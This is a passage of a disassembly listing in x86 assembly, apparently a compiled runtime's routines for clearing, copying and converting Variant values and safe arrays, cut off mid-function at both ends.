lea eax, [ebp+var_30C]
push eax
lea eax, [edi+1]
push eax
mov eax, [ebp+var_308]
push eax
call sub_4000D250
call sub_4000E028
mov eax, [ebp+var_318]
mov edx, [ebp+var_30C]
sub edx, [eax+4]
inc edx
mov eax, [ebp+var_318]
mov [eax], edx
inc edi
add esi, 8
dec ebx
jnz short loc_4000E272
loc_4000E2D4: ; CODE XREF: sub_4000E1E0+87j
mov ebx, [ebp+var_310]
dec ebx
test ebx, ebx
jl short loc_4000E2F9
inc ebx
lea eax, [ebp+var_2FC]
lea edx, [ebp+var_100]
loc_4000E2EC: ; CODE XREF: sub_4000E1E0+117j
mov ecx, [eax]
mov [edx], ecx
add edx, 4
add eax, 8
dec ebx
jnz short loc_4000E2EC
loc_4000E2F9: ; CODE XREF: sub_4000E1E0+FDj
; sub_4000E1E0+162j
push ebp
mov ebx, [ebp+var_310]
dec ebx
mov eax, ebx
call sub_4000E154
pop ecx
test al, al
jz short loc_4000E337
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_100]
push eax
mov eax, [ebp+var_308]
push eax
call sub_4000D258
call sub_4000E028
mov eax, [ebp+var_314]
call sub_4000E3D8
loc_4000E337: ; CODE XREF: sub_4000E1E0+12Bj
push ebp
mov eax, ebx
call sub_4000E184
pop ecx
test al, al
jnz short loc_4000E2F9
loc_4000E344: ; CODE XREF: sub_4000E1E0+3Cj
mov eax, [ebp+var_304]
push eax
call sub_4000CDE0
call sub_4000E028
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000E1E0 endp
; =============== S U B R O U T I N E =======================================
sub_4000E35C proc near ; CODE XREF: sub_4000E3D8:loc_4000E3E5p
; sub_4000E654+11p ...
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov ebx, eax
movzx esi, word ptr [ebx]
cmp si, 14h
jnb short loc_4000E377
push ebx
call sub_4000CDE0
call sub_4000E028
jmp short loc_4000E3D3
; ---------------------------------------------------------------------------
loc_4000E377: ; CODE XREF: sub_4000E35C+Cj
cmp si, 100h
jnz short loc_4000E38D
mov word ptr [ebx], 0
lea eax, [ebx+8]
call sub_40004884
jmp short loc_4000E3D3
; ---------------------------------------------------------------------------
loc_4000E38D: ; CODE XREF: sub_4000E35C+20j
cmp si, 101h
jnz short loc_4000E39E
mov eax, ebx
call ds:off_4001F298
jmp short loc_4000E3D3
; ---------------------------------------------------------------------------
loc_4000E39E: ; CODE XREF: sub_4000E35C+36j
test si, 2000h
jz short loc_4000E3AE
mov eax, ebx
call sub_4000E1E0
jmp short loc_4000E3D3
; ---------------------------------------------------------------------------
loc_4000E3AE: ; CODE XREF: sub_4000E35C+47j
mov edx, esp
mov eax, esi
call sub_40012D98
test al, al
jz short loc_4000E3C7
mov edx, ebx
mov eax, [esp+0Ch+var_C]
mov ecx, [eax]
call dword ptr [ecx+24h]
jmp short loc_4000E3D3
; ---------------------------------------------------------------------------
loc_4000E3C7: ; CODE XREF: sub_4000E35C+5Dj
push ebx
call sub_4000CDE0
push ebx
call sub_4000CDD8
loc_4000E3D3: ; CODE XREF: sub_4000E35C+19j
; sub_4000E35C+2Fj ...
pop edx
pop esi
pop ebx
retn
sub_4000E35C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000E3D8 proc near ; CODE XREF: sub_4000E140+5p
; sub_4000E1E0+152p ...
test word ptr [eax], 0BFE8h
jnz short loc_4000E3E5
mov word ptr [eax], 0
retn
; ---------------------------------------------------------------------------
loc_4000E3E5: ; CODE XREF: sub_4000E3D8+5j
call sub_4000E35C
retn
sub_4000E3D8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000E3EC proc near ; CODE XREF: sub_400052FC+9p
; sub_40012E54+2Dp
; DATA XREF: ...
push eax
call sub_4000E3D8
pop eax
retn
sub_4000E3EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E3F4 proc near ; CODE XREF: sub_4000E480+14Cp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ecx, [ebp+arg_0]
add ecx, 0FFFFFD00h
loc_4000E401: ; CODE XREF: sub_4000E3F4+28j
mov edx, [ecx+eax*8+4]
add edx, [ecx+eax*8]
mov ebx, [ebp+arg_0]
cmp edx, [ebx+eax*4-100h]
setnle dl
dec eax
test dl, dl
jz short loc_4000E41E
test eax, eax
jge short loc_4000E401
loc_4000E41E: ; CODE XREF: sub_4000E3F4+24j
mov eax, edx
pop ebx
pop ebp
retn
sub_4000E3F4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E424 proc near ; CODE XREF: sub_4000E424+4Dp
; sub_4000E480+1A5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
mov dl, 1
mov ecx, [ebp+arg_0]
inc dword ptr [ecx+eax*4-100h]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+eax*8-2FCh]
mov ebx, ecx
mov esi, [ebp+arg_0]
add ebx, [esi+eax*8-300h]
mov esi, [ebp+arg_0]
cmp ebx, [esi+eax*4-100h]
jg short loc_4000E479
test eax, eax
jnz short loc_4000E45F
xor edx, edx
jmp short loc_4000E479
; ---------------------------------------------------------------------------
loc_4000E45F: ; CODE XREF: sub_4000E424+35j
mov edx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov [edx+eax*4-100h], ecx
mov edx, [ebp+arg_0]
push edx
dec eax
call sub_4000E424
pop ecx
mov edx, eax
loc_4000E479: ; CODE XREF: sub_4000E424+31j
; sub_4000E424+39j
mov eax, edx
pop esi
pop ebx
pop ebp
retn
sub_4000E424 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E480 proc near ; CODE XREF: sub_4000E654+75p
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = byte ptr -300h
var_2FC = byte ptr -2FCh
var_100 = byte ptr -100h
push ebp
mov ebp, esp
add esp, 0FFFFFCE0h
push ebx
push esi
push edi
mov [ebp+var_308], ecx
mov ebx, edx
mov [ebp+var_304], eax
test byte ptr [ebx+1], 20h
jnz short loc_4000E4AA
mov eax, 80070057h
call sub_4000E028
loc_4000E4AA: ; CODE XREF: sub_4000E480+1Ej
movzx eax, word ptr [ebx]
mov edx, eax
and dx, 0FFFh
cmp dx, 0Ch
jnz loc_4000E631
test ah, 40h
jz short loc_4000E4D0
mov eax, [ebx+8]
mov eax, [eax]
mov [ebp+var_314], eax
jmp short loc_4000E4D9
; ---------------------------------------------------------------------------
loc_4000E4D0: ; CODE XREF: sub_4000E480+41j
mov eax, [ebx+8]
mov [ebp+var_314], eax
loc_4000E4D9: ; CODE XREF: sub_4000E480+4Ej
mov eax, [ebp+var_314]
movzx eax, word ptr [eax]
mov [ebp+var_310], eax
mov ebx, [ebp+var_310]
dec ebx
test ebx, ebx
jl short loc_4000E55E
inc ebx
xor edi, edi
lea esi, [ebp+var_300]
loc_4000E4FC: ; CODE XREF: sub_4000E480+DCj
mov eax, esi
mov [ebp+var_320], eax
mov eax, [ebp+var_320]
add eax, 4
push eax
lea eax, [edi+1]
push eax
mov eax, [ebp+var_314]
push eax
call sub_4000D248
call sub_4000E028
lea eax, [ebp+var_30C]
push eax
lea eax, [edi+1]
push eax
mov eax, [ebp+var_314]
push eax
call sub_4000D250
call sub_4000E028
mov eax, [ebp+var_320]
mov edx, [ebp+var_30C]
sub edx, [eax+4]
inc edx
mov eax, [ebp+var_320]
mov [eax], edx
inc edi
add esi, 8
dec ebx
jnz short loc_4000E4FC
loc_4000E55E: ; CODE XREF: sub_4000E480+71j
lea eax, [ebp+var_300]
push eax
mov eax, [ebp+var_310]
push eax
push 0Ch
call sub_4000D240
mov esi, eax
test esi, esi
jnz short loc_4000E57E
call sub_4000DD80
loc_4000E57E: ; CODE XREF: sub_4000E480+F7j
mov eax, [ebp+var_304]
call sub_4000E3D8
mov eax, [ebp+var_304]
mov word ptr [eax], 200Ch
mov eax, [ebp+var_304]
mov [eax+8], esi
mov ebx, [ebp+var_310]
dec ebx
test ebx, ebx
jl short loc_4000E5C2
inc ebx
lea eax, [ebp+var_2FC]
lea edx, [ebp+var_100]
loc_4000E5B5: ; CODE XREF: sub_4000E480+140j
mov ecx, [eax]
mov [edx], ecx
add edx, 4
add eax, 8
dec ebx
jnz short loc_4000E5B5
loc_4000E5C2: ; CODE XREF: sub_4000E480+126j
; sub_4000E480+1ADj
push ebp
mov ebx, [ebp+var_310]
dec ebx
mov eax, ebx
call sub_4000E3F4
pop ecx
test al, al
jz short loc_4000E622
lea eax, [ebp+var_318]
push eax
lea eax, [ebp+var_100]
push eax
mov eax, [ebp+var_314]
push eax
call sub_4000D258
call sub_4000E028
lea eax, [ebp+var_31C]
push eax
lea eax, [ebp+var_100]
push eax
push esi
call sub_4000D258
call sub_4000E028
mov eax, [ebp+var_318]
mov edx, eax
mov eax, [ebp+var_31C]
call [ebp+var_308]
loc_4000E622: ; CODE XREF: sub_4000E480+154j
push ebp
mov eax, ebx
call sub_4000E424
pop ecx
test al, al
jnz short loc_4000E5C2
jmp short loc_4000E643
; ---------------------------------------------------------------------------
loc_4000E631: ; CODE XREF: sub_4000E480+38j
push ebx
mov eax, [ebp+var_304]
push eax
call sub_4000CDE8
call sub_4000E028
loc_4000E643: ; CODE XREF: sub_4000E480+1AFj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000E480 endp
; ---------------------------------------------------------------------------
align 4
loc_4000E64C: ; DATA XREF: sub_4000E654+6Co
call sub_4000E700
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000E654 proc near ; CODE XREF: sub_4000E700+3Bp
var_10 = dword ptr -10h
push ebx
push esi
push edi
push ecx
mov esi, edx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_4000E66A
mov eax, ebx
call sub_4000E35C
loc_4000E66A: ; CODE XREF: sub_4000E654+Dj
movzx edi, word ptr [esi]
cmp di, 14h
jnb short loc_4000E681
push esi
push ebx
call sub_4000CDE8
call sub_4000E028
jmp short loc_4000E6FA
; ---------------------------------------------------------------------------
loc_4000E681: ; CODE XREF: sub_4000E654+1Dj
cmp di, 100h
jnz short loc_4000E69F
mov word ptr [ebx], 100h
xor eax, eax
mov [ebx+8], eax
lea eax, [ebx+8]
mov edx, [esi+8]
call sub_400048D8
jmp short loc_4000E6FA
; ---------------------------------------------------------------------------
loc_4000E69F: ; CODE XREF: sub_4000E654+32j
cmp di, 101h
jnz short loc_4000E6B9
mov [ebx], di
mov eax, [esi+8]
mov [ebx+8], eax
mov eax, ebx
call ds:off_4001F2A0
jmp short loc_4000E6FA
; ---------------------------------------------------------------------------
loc_4000E6B9: ; CODE XREF: sub_4000E654+50j
test di, 2000h
jz short loc_4000E6D0
mov ecx, offset loc_4000E64C
mov edx, esi
mov eax, ebx
call sub_4000E480
jmp short loc_4000E6FA
; ---------------------------------------------------------------------------
loc_4000E6D0: ; CODE XREF: sub_4000E654+6Aj
mov edx, esp
mov eax, edi
call sub_40012D98
test al, al
jz short loc_4000E6EE
push 0
mov ecx, esi
mov edx, ebx
mov eax, [esp+14h+var_10]
mov ebx, [eax]
call dword ptr [ebx+28h]
jmp short loc_4000E6FA
; ---------------------------------------------------------------------------
loc_4000E6EE: ; CODE XREF: sub_4000E654+87j
push esi
push ebx
call sub_4000CDE8
call sub_4000E028
loc_4000E6FA: ; CODE XREF: sub_4000E654+2Bj
; sub_4000E654+49j ...
pop edx
pop edi
pop esi
pop ebx
retn
sub_4000E654 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000E700 proc near ; CODE XREF: sub_4000540C+9p
; .text:loc_4000E64Cp ...
push ebx
push esi
mov ebx, edx
mov esi, eax
cmp esi, ebx
jz short loc_4000E740
test word ptr [ebx], 0BFE8h
jnz short loc_4000E737
test word ptr [esi], 0BFE8h
jz short loc_4000E71F
mov eax, esi
call sub_4000E35C
loc_4000E71F: ; CODE XREF: sub_4000E700+16j
mov eax, [ebx]
mov [esi], eax
mov eax, [ebx+4]
mov [esi+4], eax
mov eax, [ebx+8]
mov [esi+8], eax
mov eax, [ebx+0Ch]
mov [esi+0Ch], eax
jmp short loc_4000E740
; ---------------------------------------------------------------------------
loc_4000E737: ; CODE XREF: sub_4000E700+Fj
mov edx, ebx
mov eax, esi
call sub_4000E654
loc_4000E740: ; CODE XREF: sub_4000E700+8j
; sub_4000E700+35j
pop esi
pop ebx
retn
sub_4000E700 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E744 proc near ; CODE XREF: sub_4000E960+1Bp
var_10 = byte ptr -10h
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp+var_10]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_4000E7A0
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, esi
lea eax, [ebp+var_10]
call sub_4000E700
lea eax, [ebp+var_10]
call ds:off_4001F29C
movzx ecx, di
lea edx, [ebp+var_10]
mov eax, ebx
call sub_4000E9CC
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000E7A7
loc_4000E797: ; CODE XREF: sub_4000E744+61j
lea eax, [ebp+var_10]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_4000E7A0: ; DATA XREF: sub_4000E744+1Bo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000E797
; ---------------------------------------------------------------------------
loc_4000E7A7: ; CODE XREF: sub_4000E744+5Bj
; DATA XREF: sub_4000E744+4Eo
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000E744 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E7B0 proc near ; CODE XREF: sub_4000E9CC+166p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000E7EE
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
call sub_40011DFC
mov eax, ebx
mov edx, [ebp+var_4]
call sub_40012728
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000E7F5
loc_4000E7E5: ; CODE XREF: sub_4000E7B0+43j
lea eax, [ebp+var_4]
call sub_40005008
retn
; ---------------------------------------------------------------------------
loc_4000E7EE: ; DATA XREF: sub_4000E7B0+Bo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000E7E5
; ---------------------------------------------------------------------------
loc_4000E7F5: ; CODE XREF: sub_4000E7B0+3Dj
; DATA XREF: sub_4000E7B0+30o
pop ebx
pop ecx
pop ebp
retn
sub_4000E7B0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E7FC proc near ; CODE XREF: sub_4000E9CC+20Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000E83A
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
call sub_400116DC
mov eax, ebx
mov edx, [ebp+var_4]
call sub_400126FC
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000E841
loc_4000E831: ; CODE XREF: sub_4000E7FC+43j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000E83A: ; DATA XREF: sub_4000E7FC+Bo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000E831
; ---------------------------------------------------------------------------
loc_4000E841: ; CODE XREF: sub_4000E7FC+3Dj
; DATA XREF: sub_4000E7FC+30o
pop ebx
pop ecx
pop ebp
retn
sub_4000E7FC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E848 proc near ; CODE XREF: sub_4000E9CC+1E6p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000E886
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
call sub_40012494
mov eax, ebx
mov edx, [ebp+var_4]
call sub_4001278C
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000E88D
loc_4000E87D: ; CODE XREF: sub_4000E848+43j
lea eax, [ebp+var_4]
call sub_40006204
retn
; ---------------------------------------------------------------------------
loc_4000E886: ; DATA XREF: sub_4000E848+Bo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000E87D
; ---------------------------------------------------------------------------
loc_4000E88D: ; CODE XREF: sub_4000E848+3Dj
; DATA XREF: sub_4000E848+30o
pop ebx
pop ecx
pop ebp
retn
sub_4000E848 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E894 proc near ; CODE XREF: sub_4000E9CC+1F1p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000E8D2
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
call sub_400123C8
mov eax, ebx
mov edx, [ebp+var_4]
call sub_40012760
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000E8D9
loc_4000E8C9: ; CODE XREF: sub_4000E894+43j
lea eax, [ebp+var_4]
call sub_40006204
retn
; ---------------------------------------------------------------------------
loc_4000E8D2: ; DATA XREF: sub_4000E894+Bo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000E8C9
; ---------------------------------------------------------------------------
loc_4000E8D9: ; CODE XREF: sub_4000E894+3Dj
; DATA XREF: sub_4000E894+30o
pop ebx
pop ecx
pop ebp
retn
sub_4000E894 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000E8E0 proc near ; CODE XREF: sub_4000E960+60p
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
movzx eax, word ptr [ebx]
mov edx, eax
and dx, 0FFFh
cmp dx, 14h
jb short loc_4000E926
mov edx, ebx
mov eax, edi
mov ecx, 8
call sub_4000E9CC
push esi
push 0
push 400h
push edi
push edi
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov ecx, esi
call sub_4000E034
jmp short loc_4000E959
; ---------------------------------------------------------------------------
loc_4000E926: ; CODE XREF: sub_4000E8E0+17j
mov edx, esi
and dx, 0FFFh
cmp dx, 14h
jnb short loc_4000E952
push esi
push 0
push 400h
push ebx
push edi
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov ecx, esi
call sub_4000E034
jmp short loc_4000E959
; ---------------------------------------------------------------------------
loc_4000E952: ; CODE XREF: sub_4000E8E0+51j
mov edx, esi
call sub_4000DBF4
loc_4000E959: ; CODE XREF: sub_4000E8E0+44j
; sub_4000E8E0+70j
pop edi
pop esi
pop ebx
retn
sub_4000E8E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000E960 proc near ; CODE XREF: sub_4000E9CC+221p
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebx, edx
mov edi, eax
movzx ebp, word ptr [ebx]
cmp bp, 101h
jnz short loc_4000E982
mov edx, ebx
mov eax, edi
mov ecx, esi
call sub_4000E744
jmp short loc_4000E9C5
; ---------------------------------------------------------------------------
loc_4000E982: ; CODE XREF: sub_4000E960+13j
mov edx, esp
mov eax, ebp
call sub_40012D98
test al, al
jz short loc_4000E99F
push esi
mov ecx, ebx
mov edx, edi
mov eax, [esp+18h+var_14]
mov ebx, [eax]
call dword ptr [ebx+1Ch]
jmp short loc_4000E9C5
; ---------------------------------------------------------------------------
loc_4000E99F: ; CODE XREF: sub_4000E960+2Dj
mov edx, esp
mov eax, esi
call sub_40012D98
test al, al
jz short loc_4000E9BA
mov ecx, ebx
mov edx, edi
mov eax, [esp+14h+var_14]
mov ebx, [eax]
call dword ptr [ebx+18h]
jmp short loc_4000E9C5
; ---------------------------------------------------------------------------
loc_4000E9BA: ; CODE XREF: sub_4000E960+4Aj
mov edx, ebx
mov eax, edi
mov ecx, esi
call sub_4000E8E0
loc_4000E9C5: ; CODE XREF: sub_4000E960+20j
; sub_4000E960+3Dj ...
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000E960 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000E9CC proc near ; CODE XREF: sub_4000E744+41p
; sub_4000E8E0+22p ...
var_C = dword ptr -0Ch
push ebx
push esi
mov ebx, edx
mov esi, eax
movzx eax, word ptr [ebx]
movzx edx, ax
cmp ecx, edx
jnz short loc_4000E9E8
mov edx, ebx
mov eax, esi
call sub_4000E700
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4000E9E8: ; CODE XREF: sub_4000E9CC+Ej
cmp ax, 400Ch
jnz short loc_4000E9FF
mov eax, [ebx+8]
mov edx, eax
mov eax, esi
call sub_4000E9CC
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000E9FF: ; CODE XREF: sub_4000E9CC+20j
mov edx, ecx
cmp edx, 14h ; switch 21 cases
ja loc_4000EBC4 ; default
; jumptable 4000EA0A cases 10,12,14,15
jmp ds:off_4000EA11[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_4000EA11 dd offset loc_4000EA65 ; DATA XREF: sub_4000E9CC+3Er
dd offset loc_4000EA90 ; jump table for switch statement
dd offset loc_4000EA9C
dd offset loc_4000EAB1
dd offset loc_4000EAC6
dd offset loc_4000EAE0
dd offset loc_4000EAFA
dd offset loc_4000EB14
dd offset loc_4000EB2E
dd offset loc_4000EBAE
dd offset loc_4000EBC4
dd offset loc_4000EB3C
dd offset loc_4000EBC4
dd offset loc_4000EBB9
dd offset loc_4000EBC4
dd offset loc_4000EBC4
dd offset loc_4000EB51
dd offset loc_4000EB66
dd offset loc_4000EB78
dd offset loc_4000EB8A
dd offset loc_4000EB9C
; ---------------------------------------------------------------------------
loc_4000EA65: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
cmp word ptr [ebx], 1 ; jumptable 4000EA0A case 0
jnz short loc_4000EA84
cmp byte_4001AA10, 0
jz short loc_4000EA84
xor edx, edx
mov ax, 1
call sub_4000DBF4
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EA84: ; CODE XREF: sub_4000E9CC+9Dj
; sub_4000E9CC+A6j
mov eax, esi
call sub_4000E3D8
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EA90: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, esi ; jumptable 4000EA0A case 1
call sub_4000E140
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EA9C: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 2
call sub_4000F33C
mov edx, eax
mov eax, esi
call sub_400125E0
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EAB1: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 3
call sub_4000ED90
mov edx, eax
mov eax, esi
call sub_40012540
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EAC6: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 4
call sub_400106E4
add esp, 0FFFFFFFCh
fstp [esp+0Ch+var_C]
wait
mov eax, esi
call sub_4001262C
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EAE0: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 5
call sub_4001036C
add esp, 0FFFFFFF8h
fstp qword ptr [esp]
wait
mov eax, esi
call sub_40012650
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EAFA: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 6
call sub_40011024
add esp, 0FFFFFFF8h
fistp qword ptr [esp]
wait
mov eax, esi
call sub_4001267C
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EB14: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 7
call sub_40010ABC
add esp, 0FFFFFFF8h
fstp qword ptr [esp]
wait
mov eax, esi
call sub_400126A8
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EB2E: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov edx, ebx ; jumptable 4000EA0A case 8
mov eax, esi
call sub_4000E7B0
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EB3C: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 11
call sub_4000FE58
mov edx, eax
mov eax, esi
call sub_400126D4
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EB51: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 16
call sub_4000F1E0
mov edx, eax
mov eax, esi
call sub_400125C0
jmp loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EB66: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 17
call sub_4000F294
mov edx, eax
mov eax, esi
call sub_40012560
jmp short loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EB78: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 18
call sub_4000F434
mov edx, eax
mov eax, esi
call sub_40012580
jmp short loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EB8A: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 19
call sub_4000F510
mov edx, eax
mov eax, esi
call sub_400125A0
jmp short loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EB9C: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov eax, ebx ; jumptable 4000EA0A case 20
call sub_4000F860
push edx
push eax
mov eax, esi
call sub_40012600
jmp short loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EBAE: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov edx, ebx ; jumptable 4000EA0A case 9
mov eax, esi
call sub_4000E848
jmp short loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EBB9: ; CODE XREF: sub_4000E9CC+3Ej
; DATA XREF: sub_4000E9CC:off_4000EA11o
mov edx, ebx ; jumptable 4000EA0A case 13
mov eax, esi
call sub_4000E894
jmp short loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EBC4: ; CODE XREF: sub_4000E9CC+38j
; sub_4000E9CC+3Ej
; DATA XREF: ...
mov edx, ecx ; default
; jumptable 4000EA0A cases 10,12,14,15
sub edx, 100h
jz short loc_4000EBD3
dec edx
jz short loc_4000EBDE
jmp short loc_4000EBE9
; ---------------------------------------------------------------------------
loc_4000EBD3: ; CODE XREF: sub_4000E9CC+200j
mov edx, ebx
mov eax, esi
call sub_4000E7FC
jmp short loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EBDE: ; CODE XREF: sub_4000E9CC+203j
mov dx, 101h
call sub_4000DBF4
jmp short loc_4000EBF2
; ---------------------------------------------------------------------------
loc_4000EBE9: ; CODE XREF: sub_4000E9CC+205j
mov edx, ebx
mov eax, esi
call sub_4000E960
loc_4000EBF2: ; CODE XREF: sub_4000E9CC+2Ej
; sub_4000E9CC+B3j ...
pop esi
pop ebx
retn
sub_4000E9CC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000EBF8 proc near ; CODE XREF: sub_4000ED90+15Bp
; sub_4000ED90+213p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000EC9B
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_4]
call sub_40011DFC
lea eax, [ebp+var_8]
push eax
push 0
push 400h
mov eax, [ebp+var_4]
push eax
mov eax, off_4001B0B0
mov eax, [eax]
call eax
mov edx, eax
sub edx, 80020005h
jz short loc_4000EC48
